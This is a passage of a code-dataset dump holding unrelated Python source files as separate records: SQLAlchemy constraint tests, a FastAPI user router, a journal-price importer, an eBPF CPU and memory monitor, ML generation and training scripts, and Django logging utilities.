\"this_other_name_is_too_long_for_what_were_doing\", \n                        t1.c.c)).compile,\n            dialect=dialect\n        )\n\n    def test_index_declartion_inline(self):\n        t1 = Table('t1', metadata, \n            Column('x', Integer),\n            Column('y', Integer),\n            Index('foo', 'x', 'y')\n        )\n        self.assert_compile(\n            schema.CreateIndex(list(t1.indexes)[0]), \n            \"CREATE INDEX foo ON t1 (x, y)\"\n        )\n\n    def test_index_asserts_cols_standalone(self):\n        t1 = Table('t1', metadata, \n            Column('x', Integer)\n        )\n        t2 = Table('t2', metadata,\n            Column('y', Integer)\n        )\n        assert_raises_message(\n            exc.ArgumentError,\n            \"Column 't2.y' is not part of table 't1'.\",\n            Index,\n            \"bar\", t1.c.x, t2.c.y\n        )\n\n    def test_index_asserts_cols_inline(self):\n        t1 = Table('t1', metadata, \n            Column('x', Integer)\n        )\n        assert_raises_message(\n            exc.ArgumentError,\n            \"Index 'bar' is against table 't1', and \"\n            \"cannot be associated with table 't2'.\",\n            Table, 't2', metadata,\n                Column('y', Integer),\n                Index('bar', t1.c.x)\n        )\n\n    def test_raise_index_nonexistent_name(self):\n        m = MetaData()\n        # the KeyError isn't ideal here, a nicer message\n        # perhaps\n        assert_raises(\n            KeyError,\n            Table, 't', m, Column('x', Integer), Index(\"foo\", \"q\")\n        )\n\n    def test_raise_not_a_column(self):\n        assert_raises(\n            exc.ArgumentError,\n            Index, \"foo\", 5\n        )\n\n    def test_no_warning_w_no_columns(self):\n        Index(name=\"foo\")\n\n    def test_raise_clauseelement_not_a_column(self):\n        m = MetaData()\n        t2 = Table('t2', m, Column('x', Integer))\n        class SomeClass(object):\n            def __clause_element__(self):\n                return t2\n        assert_raises(\n            exc.ArgumentError,\n            Index, \"foo\", SomeClass()\n        )\n\nclass ConstraintCompilationTest(fixtures.TestBase, AssertsCompiledSQL):\n    __dialect__ = 'default'\n\n    def _test_deferrable(self, constraint_factory):\n        t = Table('tbl', MetaData(),\n                  Column('a', Integer),\n                  Column('b', Integer),\n                  constraint_factory(deferrable=True))\n\n        sql = str(schema.CreateTable(t).compile(bind=testing.db))\n        assert 'DEFERRABLE' in sql, sql\n        assert 'NOT DEFERRABLE' not in sql, sql\n\n        t = Table('tbl', MetaData(),\n                  Column('a', Integer),\n                  Column('b', Integer),\n                  constraint_factory(deferrable=False))\n\n        sql = str(schema.CreateTable(t).compile(bind=testing.db))\n        assert 'NOT DEFERRABLE' in sql\n\n\n        t = Table('tbl', MetaData(),\n                  Column('a', Integer),\n                  Column('b', Integer),\n                  constraint_factory(deferrable=True, initially='IMMEDIATE'))\n        sql = str(schema.CreateTable(t).compile(bind=testing.db))\n        assert 'NOT DEFERRABLE' not in sql\n        assert 'INITIALLY IMMEDIATE' in sql\n\n        t = Table('tbl', MetaData(),\n                  Column('a', Integer),\n                  Column('b', Integer),\n                  constraint_factory(deferrable=True, initially='DEFERRED'))\n        sql = str(schema.CreateTable(t).compile(bind=testing.db))\n\n        assert 'NOT DEFERRABLE' not in sql\n        assert 'INITIALLY DEFERRED' in sql\n\n    def test_column_level_ck_name(self):\n        t = Table('tbl', MetaData(),\n            Column('a', Integer, CheckConstraint(\"a > 5\", name=\"ck_a_greater_five\"))\n        )\n        self.assert_compile(\n            schema.CreateTable(t),\n            \"CREATE TABLE tbl (a INTEGER CONSTRAINT \"\n            \"ck_a_greater_five CHECK (a > 5))\"\n        )\n    def test_deferrable_pk(self):\n        factory = lambda **kw: PrimaryKeyConstraint('a', **kw)\n        self._test_deferrable(factory)\n\n    def test_deferrable_table_fk(self):\n        factory = lambda **kw: ForeignKeyConstraint(['b'], ['tbl.a'], **kw)\n        self._test_deferrable(factory)\n\n    def test_deferrable_column_fk(self):\n        t = Table('tbl', MetaData(),\n                  Column('a', Integer),\n                  Column('b', Integer,\n                         ForeignKey('tbl.a', deferrable=True,\n                                    initially='DEFERRED')))\n\n        self.assert_compile(\n            schema.CreateTable(t),\n            \"CREATE TABLE tbl (a INTEGER, b INTEGER, \"\n            \"FOREIGN KEY(b) REFERENCES tbl \"\n            \"(a) DEFERRABLE INITIALLY DEFERRED)\",\n        )\n\n    def test_deferrable_unique(self):\n        factory = lambda **kw: UniqueConstraint('b', **kw)\n        self._test_deferrable(factory)\n\n    def test_deferrable_table_check(self):\n        factory = lambda **kw: CheckConstraint('a < b', **kw)\n        self._test_deferrable(factory)\n\n    def test_multiple(self):\n        m = MetaData()\n        foo = Table(\"foo\", m, \n            Column('id', Integer, primary_key=True),\n            Column('bar', Integer, primary_key=True)\n        )\n        tb = Table(\"some_table\", m,\n        Column('id', Integer, primary_key=True),\n        Column('foo_id', Integer, ForeignKey('foo.id')),\n        Column('foo_bar', Integer, ForeignKey('foo.bar')),\n        )\n        self.assert_compile(\n            schema.CreateTable(tb),\n            \"CREATE TABLE some_table (\"\n                \"id INTEGER NOT NULL, \"\n                \"foo_id INTEGER, \"\n                \"foo_bar INTEGER, \"\n                \"PRIMARY KEY (id), \"\n                \"FOREIGN KEY(foo_id) REFERENCES foo (id), \"\n                \"FOREIGN KEY(foo_bar) REFERENCES foo (bar))\"\n        )\n\n    def test_deferrable_column_check(self):\n        t = Table('tbl', MetaData(),\n                  Column('a', Integer),\n                  Column('b', Integer,\n                         CheckConstraint('a < b',\n                                         deferrable=True,\n                                         initially='DEFERRED')))\n\n        self.assert_compile(\n            schema.CreateTable(t),\n            \"CREATE TABLE tbl (a INTEGER, b INTEGER CHECK (a < b) DEFERRABLE INITIALLY DEFERRED)\"\n        )\n\n    def test_use_alter(self):\n        m = MetaData()\n        t = Table('t', m,\n                  Column('a', Integer),\n        )\n\n        t2 = Table('t2', m,\n                Column('a', Integer, ForeignKey('t.a', use_alter=True, name='fk_ta')),\n                Column('b', Integer, ForeignKey('t.a', name='fk_tb')), # to ensure create ordering ...\n        )\n\n        e = engines.mock_engine(dialect_name='postgresql')\n        m.create_all(e)\n        m.drop_all(e)\n\n        e.assert_sql([\n            'CREATE TABLE t (a INTEGER)', \n            'CREATE TABLE t2 (a INTEGER, b INTEGER, CONSTRAINT fk_tb FOREIGN KEY(b) REFERENCES t (a))', \n            'ALTER TABLE t2 ADD CONSTRAINT fk_ta FOREIGN KEY(a) REFERENCES t (a)', \n            'ALTER TABLE t2 DROP CONSTRAINT fk_ta', \n            'DROP TABLE t2', \n            'DROP TABLE t'\n        ])\n\n\n    def test_add_drop_constraint(self):\n        m = MetaData()\n\n        t = Table('tbl', m,\n                  Column('a', Integer),\n                  Column('b', Integer)\n        )\n\n        t2 = Table('t2', m,\n                Column('a', Integer),\n                Column('b', Integer)\n        )\n\n        constraint = CheckConstraint('a < b',name=\"my_test_constraint\",\n                                        deferrable=True,initially='DEFERRED', table=t)\n\n\n        # before we create an AddConstraint,\n        # the CONSTRAINT comes out inline\n        self.assert_compile(\n            schema.CreateTable(t),\n            \"CREATE TABLE tbl (\"\n            \"a INTEGER, \"\n            \"b INTEGER, \"\n            \"CONSTRAINT my_test_constraint CHECK (a < b) DEFERRABLE INITIALLY DEFERRED\"\n            \")\"\n        )\n\n        self.assert_compile(\n            schema.AddConstraint(constraint),\n            \"ALTER TABLE tbl ADD CONSTRAINT my_test_constraint \"\n                    \"CHECK (a < b) DEFERRABLE INITIALLY DEFERRED\"\n        )\n\n        # once we make an AddConstraint,\n        # inline compilation of the CONSTRAINT\n        # is disabled\n        self.assert_compile(\n            schema.CreateTable(t),\n            \"CREATE TABLE tbl (\"\n            \"a INTEGER, \"\n            \"b INTEGER\"\n            \")\"\n        )\n\n        self.assert_compile(\n            schema.DropConstraint(constraint),\n            \"ALTER TABLE tbl DROP CONSTRAINT my_test_constraint\"\n        )\n\n        self.assert_compile(\n            schema.DropConstraint(constraint, cascade=True),\n            \"ALTER TABLE tbl DROP CONSTRAINT my_test_constraint CASCADE\"\n        )\n\n        constraint = ForeignKeyConstraint([\"b\"], [\"t2.a\"])\n        t.append_constraint(constraint)\n        self.assert_compile(\n            schema.AddConstraint(constraint),\n            \"ALTER TABLE tbl ADD FOREIGN KEY(b) REFERENCES t2 (a)\"\n        )\n\n        constraint = ForeignKeyConstraint([t.c.a], [t2.c.b])\n        t.append_constraint(constraint)\n        self.assert_compile(\n            schema.AddConstraint(constraint),\n            \"ALTER TABLE tbl ADD FOREIGN KEY(a) REFERENCES t2 (b)\"\n        )\n\n        constraint = UniqueConstraint(\"a\", \"b\", name=\"uq_cst\")\n        t2.append_constraint(constraint)\n        self.assert_compile(\n            schema.AddConstraint(constraint),\n            \"ALTER TABLE t2 ADD CONSTRAINT uq_cst UNIQUE (a, b)\"\n        )\n\n        constraint = UniqueConstraint(t2.c.a, t2.c.b, name=\"uq_cs2\")\n        self.assert_compile(\n            schema.AddConstraint(constraint),\n            \"ALTER TABLE t2 ADD CONSTRAINT uq_cs2 UNIQUE (a, b)\"\n        )\n\n        assert t.c.a.primary_key is False\n        constraint = PrimaryKeyConstraint(t.c.a)\n        assert t.c.a.primary_key is True\n        self.assert_compile(\n            schema.AddConstraint(constraint),\n            \"ALTER TABLE tbl ADD PRIMARY KEY (a)\"\n        )\n\n\n","repo_name":"vishvananda/sqlalchemy","sub_path":"test/sql/test_constraints.py","file_name":"test_constraints.py","file_ext":"py","file_size_in_byte":18401,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"51"}
+{"seq_id":"39219614853","text":"from fastapi import APIRouter, Depends, status, UploadFile, File\nfrom sqlalchemy.orm import Session\n\nfrom PhotoShare.app.models.user import User\nfrom PhotoShare.app.services.auth_service import get_current_user\nfrom PhotoShare.app.schemas.user import UserRespond, UserFirstname, UserLastname, UserProfileModel, UserUsername\nfrom PhotoShare.app.core.database import get_db\nfrom PhotoShare.app.repositories.users import update_user, get_user_by_email\nfrom PhotoShare.app.services.photo_service import CloudinaryService\n\nrouter_user = APIRouter(prefix=\"/user\", tags=[\"user\"])\n\n\n@router_user.get(\"/profile/{email}\", response_model=UserProfileModel, status_code=status.HTTP_200_OK)\ndef get_user_profile(email: str, session: Session = Depends(get_db)):\n    \"\"\"\n    The get_user_profile function використовується для отримання інформації профілю користувача.\n    Ця функція приймає електронний лист і повертає наступне:\n    - Адреса електронної пошти користувача, ім’я, прізвище, ім’я користувача та дата створення.\n    - Кількість зображень, завантажених користувачем.\n    Args:\n    email: str: Отримуємо електронну адресу користувача, який увійшов у систему\n    session: Session: Передаємо сеанс бази даних у функцію\n    Returns:\n    Словник інформації про користувача\n    \"\"\"\n    user = get_user_by_email(email=email, session=session)\n    return user\n\n\n@router_user.get(\"/me\", response_model=UserRespond, status_code=status.HTTP_200_OK,\n                 summary='Отримати інформацію про користувача')\ndef me(user: User = Depends(get_current_user)):\n    \"\"\"\n    Функція me повертає інформацію для активного user\n    Args:\n    :user: отримюємо активного користувача\n    Returns:\n    Авторизований користувач\n    \"\"\"\n    return user\n\n\n@router_user.patch(\"/edit/username/{username}\", response_model=UserRespond, status_code=status.HTTP_200_OK)\ndef change_username(body: UserUsername, user: User = Depends(get_current_user), session: Session = Depends(get_db)):\n    \"\"\"\n    Функція змінює username користувача\n    Args:\n    body.username: str: Отримуємо новий username користувача\n    :user: Передаємо користувача в якого буде редактовано username\n    :session: Отримуємо сессію для доступа до бази даних\n    Returns:\n    user: Повертаємо user з оновленими даними\n    \"\"\"\n    user.username = body.username\n    user = update_user(user, session)\n    return user\n\n\n@router_user.patch(\"/edit/firstname/{firstname}\", response_model=UserRespond, status_code=status.HTTP_200_OK)\ndef edit_firstname(body: UserFirstname, user: User = Depends(get_current_user),\n                         session: Session = Depends(get_db)):\n    \"\"\"\n    Функція змінює first_name користувача\n    Args:\n    body.first_name: str: Отримуємо новий first_name користувача\n    :user: Передаємо користувача в якого буде редактовано first_name\n    :session: Отримуємо сессію для доступа до бази даних\n    Returns:\n    user: Повертаємо user з оновленими даними\n    \"\"\"\n    user.first_name = body.first_name\n    user = update_user(user, session)\n    return user\n\n\n@router_user.patch(\"/edit/lastname/{lastname}\", response_model=UserRespond, status_code=status.HTTP_200_OK)\ndef edit_lastname(body: UserLastname, user: User = Depends(get_current_user),\n                  session: Session = Depends(get_db)):\n    \"\"\"\n    Функція змінює last_name користувача\n    Args:\n    last_name: str: Отримуємо новий last_name користувача\n    :user: Передаємо користувача в якого буде редактовано last_name\n    :session: Отримуємо сессію для доступа до бази даних\n    Returns:\n    user: Повертаємо user з оновленими даними\n    \"\"\"\n    user.last_name = body.last_name\n    user = update_user(user, session)\n    return user\n\n\n@router_user.patch(\"/edit/avatar\", response_model=UserRespond, status_code=status.HTTP_200_OK)\ndef upload_avatar(file: UploadFile = File(), user: User = Depends(get_current_user),\n                  session: Session = Depends(get_db)):\n    \"\"\"\n    Функція оновлює avatar користувача, завантажуючи його на сервіс cloudinary\n    Args:\n    file: str: Отримуємо новий avatar користувача\n    :user: Передаємо користувача в якого буде редактовано last_name\n    :session: Отримуємо сессію для доступа до бази даних\n    Returns:\n    user: Повертаємо user з оновленими даними\n    \"\"\"\n    public_id = CloudinaryService.get_public_id(filename=file.filename)\n    public_id = \"Y/avatars/\" + public_id\n    image = CloudinaryService.upload_photo(file=file.file, public_id=public_id)\n    version = image.get('version')\n    url = CloudinaryService.get_photo(public_id=public_id, version=version)\n    user.avatar = url\n    user = update_user(user=user, session=session)\n    return user\n\n\n","repo_name":"DenysPhV/Y","sub_path":"PhotoShare/app/api/endpoints/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":5726,"program_lang":"python","lang":"uk","doc_type":"code","stars":2,"dataset":"github-code","pt":"51"}
+{"seq_id":"40337385164","text":"import pandas as pd\nfrom ingest.apc.apc_base import ImportAPC\n\n\nclass SageAPC(ImportAPC):\n    def __init__(self, year):\n        self.data_source = \"Journal home page description\"\n        publisher_names = [\n            \"SAGE Publications\",\n        ]\n        super().__init__(year, publisher_names)\n        self.currencies = set([\"USD\", \"GBP\"])\n        self.currency_to_country = {\n            \"USD\": \"USA\",\n            \"GBP\": \"GBR\",\n            \"INR\": \"IND\",\n        }\n        self.currency_to_region = None\n\n    def parse_excel(self, file):\n        df = pd.read_csv(file)\n        df = df[df[\"apc_amount\"].notna()]\n        self.df = df\n\n    def import_prices(self):\n        for index, row in self.df.iterrows():\n            self.set_issn(row[\"issn-l\"])\n            self.set_journal()\n            if self.row[\"issn-l\"]:\n                self.set_currency_id(row[\"apc_currency\"])\n                self.set_country_id(row[\"apc_currency\"])\n                self.set_region_id(row[\"apc_currency\"])\n                self.set_price(row[\"apc_amount\"])\n                self.save_price()\n\n    def set_region_id(self, currency_acronym):\n        \"\"\"\n        Looks for a Region based on currency acronym and adds the ID to the APC data.\n        \"\"\"\n        self.row[\"region_id\"] = None\n","repo_name":"ourresearch/journalsdb","sub_path":"ingest/apc/apc_sage.py","file_name":"apc_sage.py","file_ext":"py","file_size_in_byte":1269,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"51"}
+{"seq_id":"13086525779","text":"#!/usr/bin/python\nfrom __future__ import print_function\nfrom bcc import BPF\nfrom time import sleep\n\ntarget_tgid=input()\nf=open('bpf_code.c','r')\nbpf_text=f.read()\nbpf_text=bpf_text.replace('TARGET_TGID',str(target_tgid))\nbpf=BPF(text=bpf_text)\nbpf.attach_kprobe(event='finish_task_switch',fn_name='cpuprobe')\nbpf.attach_kretprobe(event='__alloc_pages_nodemask',fn_name='alloc_page_probe')\nbpf.attach_kretprobe(event='free_pages',fn_name='free_page_probe')\n\nmatch=bpf.num_open_kprobes()\nif match!=3:\n\texit(1);\ntime_count=0\nwhile True:\n\ttry:\n\t\twhile True:\n\t\t\tsleep(1.0);\n\t\t\n\texcept KeyboardInterrupt:\n\t\tprint('\\r  \\r',end='')\n\t\t#print('monitoring time:%d sec'%time_count,end='\\n\\n')\n\t\ttotal_execution_time_ns=0\n\t\tfor key,value in bpf['cpu_use'].items():\n\t\t\tprint('Thread id:%d'%key.pid)\n\t\t\tprint('Thread name:%s'%value.task_name)\n\t\t\tprint('excution_time:%lf sec'%(value.count*(1e-9)),end='\\n\\n')\n\t\t\ttotal_execution_time_ns+=value.count\n\t\tprint(\"total_execution_time:%lf sec\"%(total_execution_time_ns*(1e-9)))\n\t\tfor key,value in bpf['memory_use'].items():\n\t\t\tprint('Time:%lf s'%(key.time*(1e-9)))\n\t\t\tprint('Thread id:%d'%value.pid)\n\t\t\tprint('Thread name:%s'%value.task_name)\n\t\t\tprint('memory use:%lf'%((2^value.order)*4096),end='\\n\\n')\n\t\tprint(\"-\"*99)\n\n","repo_name":"RogerWuX/BCC_EXP","sub_path":"pt.py","file_name":"pt.py","file_ext":"py","file_size_in_byte":1250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"6715134354","text":"# Определите количество пар, в которых один из двух элементов делится на 3,\n# а другой меньше среднего арифметического\n# всех чётных элементов последовательности.\n\nfile = open('46975.txt')\nsumm = 0\ncountChet = 0\nfor digit in file:\n    digit = int(digit)\n    if digit % 2 == 0:\n        summ += digit\n        countChet += 1\naver = summ // countChet  # среднее арифметическое\n\nfile = open('46975.txt')\ncount = 0\nmaxSum = 0\n\nfirst = int(file.readline())\nfor digit in file:\n    second = int(digit)\n    if (first % 3 == 0 and second < aver) or (first < aver and second % 3 == 0):\n        count += 1\n        if first + second > maxSum:\n            maxSum = first + second\n    first = second\n\nprint(count, maxSum)\n","repo_name":"gmrvl/python_ege_2223","sub_path":"17/46975.py","file_name":"46975.py","file_ext":"py","file_size_in_byte":859,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"3969747175","text":"#%% load libraries\n\nimport json\nfrom datasets import load_dataset,load_metric\nfrom transformers import (\n    MT5ForConditionalGeneration, MT5TokenizerFast\n)\nimport os,time\nimport argparse\nfrom tqdm.auto import tqdm\nimport pandas as pd\n#%%\nparser = argparse.ArgumentParser()\nparser.add_argument('--load_path', default=\"logs/atomic-mt5/last\", type=str,\n                    help='path to load saved model')\nparser.add_argument('--val_set', default=\"validation\", type=str,\n                    help='the set to evaluate on')\nargs = parser.parse_args()\nload_path = args.load_path\nval_set = args.val_set\n#%% some hyper-parameters\nnum_generations = 0 #0 means no limit\ngeneration_params = {\n    \"max_length\":80,\n    \"early_stopping\":True\n}\n#%% load atomic data\n#atomic_dataset = load_dataset('atomic')\n\natomic_dataset = {}\natomic_dataset[\"train\"] = pd.read_table(\"/home/pouramini/atomic/xIntent_en_train_no_dups.tsv\")\natomic_dataset[\"validation\"] = pd.read_table(\"/home/pouramini/atomic/xIntent_en_fa_validation_no_dups.tsv\")\n\natomic_relation_mappings = {\n    \"oEffect\":\"<oEffect>\",\n    \"oReact\":\"<oReact>\",\n    \"oWant\":\"<oWant>\",\n    \"xAttr\":\"<xAttr>\",\n    \"xEffect\":\"<xEffect>\",\n    \"xIntent\":\"<xIntent>\",\n    \"xNeed\":\"<xNeed>\",\n    \"xReact\":\"<xReact>\",\n    \"xWant\":\"<xWant>\"\n}\ngen_token = \"<gen>\"\n#%% Aggregate instances of queries and corresponding responses\n# (str)split_name -> (dict) query -> (list) response \nprint(\"building query responses\")\natomic_query_responses = {}\nfor split_name,split_data in atomic_dataset.items():\n    atomic_query_responses[split_name] = {}\n    split_data[\"target_text\"] = split_data[\"target_text\"].astype(str)\n    for index, d in split_data.iterrows():\n        rel = d[\"prefix\"]\n        if len(str(d[\"target_text\"]))>0: \n            rel_token = atomic_relation_mappings[rel]\n            event = d[\"input_text\"]\n            query = f\"{event} {rel_token} {gen_token}\"\n            if query not in atomic_query_responses[split_name]:\n                atomic_query_responses[split_name][query] = []\n            atomic_query_responses[split_name][query].append(d[\"target_text\"])\n            #didn't convert ___ to <blank>\n            #didn't normalize to lowercase\n\n#flatten\nprint(\"building flattened pairs\")\natomic_flattened = {}\nfor split_name,queries_responses in atomic_query_responses.items():\n    atomic_flattened[split_name] = []\n    for query,responses in queries_responses.items():\n        for response in responses:\n             atomic_flattened[split_name].append((query,response))\n#%% tokenizer & model\ntokenizer = MT5TokenizerFast.from_pretrained(load_path)\nmodel = MT5ForConditionalGeneration.from_pretrained(load_path)\n\n\n\n#%%\nresults = []\ndevice = 'cuda:0'\nmodel = model.to(device)\nfor i,(query,responses) in enumerate(tqdm(atomic_query_responses[val_set].items())):\n    if num_generations>0 and i>= num_generations:\n        break\n    inputs = tokenizer(query,return_tensors='pt').to(device=device)\n    hyps = model.generate(**inputs,**generation_params)\n    hyps = tokenizer.batch_decode(hyps,skip_special_tokens=True)\n    results.append({\n        \"head\":query,\n        \"gens\":hyps,\n        \"tails\":responses\n    })\n#%%\nwith open(os.path.join(load_path,f\"{val_set}_gen.json\"),'w') as f:\n    json.dump(results,f,ensure_ascii=False,indent=2)\n# %%\nrefs = {r['head']:r['tails'] for r in results}\nhyps = {r['head']:r['gens'] for r in results}\nfrom comet.evaluation.myeval import QGEvalCap\nQGEval = QGEvalCap(\"\",refs,hyps,{\"rouge\":True, \"blue\":True}, os.path.join(load_path,\"eval_result.jsonl\"))\nscore_dict, scores_dict = QGEval.evaluate()\n# %%\n","repo_name":"wanicca/mt5-comet","sub_path":"comet/train/t5_comet_lite_generation.py","file_name":"t5_comet_lite_generation.py","file_ext":"py","file_size_in_byte":3576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"7352521824","text":"import logging\nfrom contextlib import ContextDecorator\nfrom functools import lru_cache\n\nfrom request_vars.utils import del_variable, get_variable, set_variable\n\nfrom django.apps import apps as django_apps\nfrom django.core.exceptions import ImproperlyConfigured\nfrom django.utils.encoding import force_str\nfrom django.utils.module_loading import import_string\n\nfrom simple_log.conf import settings\n\n\n__all__ = [\n    'get_log_model',\n    'get_current_user',\n    'get_current_request',\n    'get_serializer',\n    'disable_logging',\n    'get_model_list',\n    'disable_related',\n    'get_obj_repr',\n    'is_related_to',\n    'get_fields',\n    'ContextDecorator',\n    'serialize_instance',\n]\n\n\nlogger = logging.getLogger('simple_log')\n\n\ndef check_log_model(model):\n    from simple_log.models import SimpleLogAbstractBase\n\n    if not issubclass(model, SimpleLogAbstractBase):\n        raise ImproperlyConfigured(\n            'Log model should be subclass of ' 'SimpleLogAbstractBase.'\n        )\n    return model\n\n\n@lru_cache()\ndef get_log_model():\n    try:\n        return check_log_model(django_apps.get_model(settings.MODEL))\n    except (ValueError, AttributeError):\n        raise ImproperlyConfigured(\n            \"SIMPLE_LOG_MODEL must be of the form 'app_label.model_name'\"\n        )\n    except LookupError:\n        raise ImproperlyConfigured(\n            \"SIMPLE_LOG_MODEL refers to model '%s' \"\n            'that has not been installed' % settings.MODEL\n        )\n\n\n@lru_cache(maxsize=None)\ndef get_serializer(model=None):\n    if hasattr(model, 'simple_log_serializer'):\n        serializer = model.simple_log_serializer\n    else:\n        serializer = settings.MODEL_SERIALIZER\n    if isinstance(serializer, str):\n        return import_string(serializer)\n    return serializer\n\n\ndef get_current_request_default():\n    return get_variable('request')\n\n\n@lru_cache(maxsize=None)\ndef _get_current_request():\n    return import_string(settings.GET_CURRENT_REQUEST)\n\n\nget_current_request = _get_current_request()\n\n\ndef get_current_user():\n    request = get_current_request()\n    if request:\n        return getattr(request, 'user', None)\n\n\n@lru_cache()\ndef get_fields(klass):\n    fields = klass._meta.get_fields()\n    if hasattr(klass, 'simple_log_fields'):\n        fields = [f for f in fields if f.name in klass.simple_log_fields]\n    elif hasattr(klass, 'simple_log_exclude_fields'):\n        fields = [\n            f for f in fields if f.name not in klass.simple_log_exclude_fields\n        ]\n    else:\n        fields = [\n            f for f in fields if f.name not in settings.EXCLUDE_FIELD_LIST\n        ]\n    return [\n        f\n        for f in fields\n        if f.concrete\n        or (settings.SAVE_ONE_TO_MANY and f.one_to_many and f.related_name)\n    ]\n\n\n@lru_cache(maxsize=None)\ndef get_model_list():\n    from simple_log.models import SimpleLogAbstractBase\n\n    model_list = [\n        m\n        for m in django_apps.get_models()\n        if not issubclass(m, SimpleLogAbstractBase) and m._meta.managed\n    ]\n    if settings.MODEL_LIST:\n        model_list = [\n            m for m in model_list if m._meta.label in settings.MODEL_LIST\n        ]\n    if settings.EXCLUDE_MODEL_LIST:\n        model_list = [\n            m\n            for m in model_list\n            if m._meta.label not in settings.EXCLUDE_MODEL_LIST\n        ]\n    return model_list\n\n\ndef is_related_to(log, to_log):\n    instance = log.instance\n    to_instance = to_log.instance\n    if instance == to_instance:\n        return False\n    if to_log in log._get_related_objects():\n        return True\n    old_instance = getattr(instance, settings.OLD_INSTANCE_ATTR_NAME, None)\n    to_instance_pk = to_instance.pk\n    if not to_instance_pk:\n        # If deleted\n        old_to_instance = getattr(\n            to_instance, settings.OLD_INSTANCE_ATTR_NAME, None\n        )\n        to_instance_pk = getattr(old_to_instance, 'pk', None)\n    related_fields = [\n        x\n        for x in instance._meta.get_fields()\n        if (\n            x.related_model\n            and issubclass(to_instance.__class__, x.related_model)\n            and x.concrete\n            and not (x.many_to_many and not instance.pk)\n        )\n    ]\n    for field in related_fields:\n        if (\n            getattr(instance, field.attname, None) == to_instance_pk\n            or getattr(old_instance, field.attname, None) == to_instance_pk\n        ):\n            return True\n\n\nclass disable_logging(ContextDecorator):\n    def __enter__(self):\n        set_variable('disable_logging', True)\n        return self\n\n    def __exit__(self, *exc):\n        del_variable('disable_logging')\n\n\nclass disable_related(ContextDecorator):\n    def __enter__(self):\n        set_variable('disable_related', True)\n        return self\n\n    def __exit__(self, *exc):\n        del_variable('disable_related')\n\n\ndef get_obj_repr(obj):\n    if hasattr(obj, 'simple_log_repr'):\n        return force_str(obj.simple_log_repr)\n    return force_str(obj)\n\n\ndef serialize_instance(instance):\n    serializer_class = get_serializer(instance.__class__)\n    serializer = serializer_class()\n    try:\n        return serializer(instance)\n    except Exception:\n        logger.exception(\n            \"Can't serialize instance: %s with pk %s\",\n            instance.__class__,\n            instance.pk,\n        )\n\n\ndef is_log_needed(instance, raw):\n    return settings.ENABLED and not (\n        get_variable('disable_logging')\n        or (\n            instance.pk\n            and instance in get_variable('simple_log_instances', {})\n        )\n        or (raw and settings.EXCLUDE_RAW)\n    )\n","repo_name":"kindlycat/django-simple-log","sub_path":"simple_log/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5563,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"51"}
+{"seq_id":"17684822461","text":"# %%\nimport os\nimport numpy as np\nimport pandas as pd\nimport numpy as np\nimport lightgbm as lgbm\nimport joblib\nfrom random import choices\n\nfrom copy import deepcopy\nfrom datetime import datetime, timedelta\nfrom flaml.model import LGBMEstimator\nfrom flaml import AutoML\nfrom flaml import tune\n\nfrom utils import *\nfrom const import *\nfrom predictors import *\nfrom fig_tab import *\nfrom score import *\n\nHIST_SET = np.load(HIST_PATH, allow_pickle=True)\nPRES_SET = np.load(PRES_PATH, allow_pickle=True)\n# ozone 1314\n# HIST_SET = np.load(HIST_PATH.replace(\".npy\", \"_S5P_time.npy\"), allow_pickle=True)\n# PRES_SET = np.load(PRES_PATH.replace(\".npy\", \"_S5P_time.npy\"), allow_pickle=True)\n\n\nclass GPULGBM(LGBMEstimator):\n    def __init__(self, **config):\n        super().__init__(device=\"gpu\", **config)\n\n\nclass AllMa:\n    settings = {\n        \"time_budget\": 60,  # total secs of model trainning\n        \"metric\": \"r2\",  # primary metrics for regression can be chosen from: ['mae','mse','r2', \"rmse\"]\n        \"task\": \"regression\",\n        \"seed\": 7654321,\n        \"custom_hp\": {\n            \"gpu_lgbm\": {\n                \"log_max_bin\": {\n                    \"domain\": tune.lograndint(lower=3, upper=7),\n                    \"init_value\": 5,\n                },\n            }\n        },\n    }\n\n    def __init__(self):\n        self.aq_df = {}\n        self.model_config = {}\n        self.model = {}\n\n        # obs_bau change during lockdown period\n        self.urb_df = None\n        self.traf_df = None\n\n        # obs, bau, hist timeseries dataset\n        self.pres_dict = {}\n        self.hist_dict = {}\n        self.ma_obj = {}\n\n        self.lckd_stats = []\n\n        self.merge_aq_df()\n        self.build_model()\n        # self.eval_model()\n        self.extr_ma_dt()\n\n    def merge_aq_df(self):\n        # extract data to train model form all mas\n        hist_data = HIST_SET.item()\n        for aq_var in AQ_VARS:\n            aq_ma_df = []\n            for ma in hist_data.keys():\n                aq_ma_df.append(hist_data[ma][aq_var])\n            self.aq_df[aq_var] = pd.concat(aq_ma_df, ignore_index=True)\n\n    def build_model(self):\n        # train model\n        for aq_var in AQ_VARS:\n            mdl_path = os.path.join(MDL_DIR, f\"all_ma_model_{aq_var}.pkl\")\n            if not os.path.exists(mdl_path):\n                base_cfg = {\"task\": \"predict\", \"boosting_type\": \"gbdt\", \"device\": \"gpu\"}\n                X_hist, y_hist = reform(self.aq_df[aq_var])\n\n                automl = AutoML()\n                automl.add_learner(learner_name=\"gpu_lgbm\", learner_class=GPULGBM)\n                AllMa.settings[\"estimator_list\"] = [\"gpu_lgbm\"]\n\n                automl.fit(X_hist, y_hist, **AllMa.settings)\n\n                print(f\"----------{aq_var}----------\")\n                print(\"Best r2: {0:.4g}\".format(1 - automl.best_loss))\n                self.model_config[aq_var] = dict(base_cfg, **automl.best_config)  # type: ignore\n\n                self.model[aq_var] = lgbm.LGBMRegressor(\n                    **self.model_config[aq_var]\n                ).fit(X_hist, y_hist)\n                joblib.dump(self.model[aq_var], mdl_path)\n\n    def eval_model(self):\n        # load config\n        model_cfg = {\n            aq_var: joblib.load(\n                os.path.join(MDL_DIR, f\"all_ma_model_{aq_var}.pkl\")\n            ).get_params()\n            for aq_var in AQ_VARS\n        }\n\n        # extract validate stations\n        val_rate = 0.3\n        val_sta_dict = {}  # ma => aq_var => sta_type\n        aq_sta_dict = {aq_var: [] for aq_var in AQ_VARS}\n        